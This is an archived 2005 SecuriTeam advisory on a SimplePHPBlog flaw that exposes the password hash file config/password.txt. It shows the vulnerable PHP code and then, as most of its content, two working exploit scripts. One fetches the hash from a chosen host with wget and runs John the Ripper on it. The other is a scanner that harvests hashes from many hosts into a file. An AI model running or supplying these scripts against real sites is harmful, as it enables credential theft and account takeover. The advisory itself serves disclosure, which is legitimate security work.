[EXPL] SimplePHPBlog Password Disclosure (Exploit)

Type securityvulns
Reporter Securityvulns
Modified 2005-08-14T00:00:00


The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html

SimplePHPBlog Password Disclosure (Exploit)


<http://www.simplephpblog.com/> SimplePHPBlog - "The main advantage of using <http://www.simplephpblog.com/> Simple PHP Blog is that it only requires PHP 4 (or greater) and write permission on the server."

A vulnerability in SimplePHPBlog allows remote attackers to cause the program to disclose its password hash file.


Vulnerable Systems: * SimplePHPBlog versions 0.4.0 and prior

Vulnerable code: bash-3.00# cat install02.php $result = create_folder( 'config' );

bash-3.00# cat sb_login.php // If there's no password file then need to redirect them. $passFile = 'config/password.txt';

function create_password ( $user, $pass ) { // Generate and store password hash

$mypasswd = $user.$pass; $hashed = crypt($mypasswd);

// Save File $filename = 'config/password.txt'; $result = sb_write_file( $filename, $hashed );

function check_password ( $user, $pass ) { // Check password against hashed password file

$passFile = 'config/password.txt'; $hashed = sb_read_file( $passFile );

bash-3.00# ls -l `pwd` |grep config drwxrwxrwx 2 www-data www-data 216 Jul 7 01:13 config

Exploit: bash-3.00$ cat 0xfuck-phpblog.sh


0xfuck-phpblog.sh - SimplePHPBlog Remote Password Disclosure. (for



This is published proprietary source code of 0xpjply

(C) COPYRIGHT 0xpjply security guru group, 2005

All Rights Reserved

dummy exploit written by pjphem && infected on July 2005


pjphem && LazyCrs

pjphem@mybox.it && fLazyCrs@GMail.com


You think you know? You have no idea!



echo "" echo "" echo " +++++++++++++++++++++++++++++ " echo " =: SimplePHPBlog Remote Password Disclosure. - for dummy :=
" echo " +++++++++++++++++++++++++++++ " echo "" echo " c0de by pjphem " echo "" echo "" echo " vulnerabili Simple php blog 0.4.4 <= " echo "" echo "" echo -n "inserisci un hostname: " ; read hostname ; echo -n "inserisci dir: " ; read dir ; echo "" echo "[] praparando l'ambiente..." mkdir 0xpjply cd 0xpjply echo -t3 "[] OK!" echo "[] Cattura password..." wget http://$hostname/$dir/config/password.txt echo "[] OK!" echo "" echo "" echo "Show password: (md5)" echo "" cat password.txt echo "" rm -rf password.txt echo "" echo -n "Downloading John The Ripper (password decripter) ?? [Y/n] " read Q if [ $Q = y ]; then echo "[] OK!" ; wget [John the RipperURL]/john.tar.gz else exit 1; fi tar -zxf john.tar.gz cd john echo "" echo "[] Dowloading password.." echo "" wget http://$hostname/$dir/config/password.txt echo "" echo "Done!" echo "" echo "STARING John for decript password.. enJoy" /jonh password.txt echo "" echo ""

bash-3.00$ cat 0xfuck-phpblog-scanner.sh


Simple tester for phpblog

phpblog 0.4.4 <=

echo "host , directory blog: (ex. test.it blog)" read HOST BLOG lynx -source http://$HOST/$BLOG/config/password.txt | grep $1$ >> 0wn4bl3 bash-3.00$


The information has been provided by <mailto:pjphem@mybox.it> pjphem.


This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.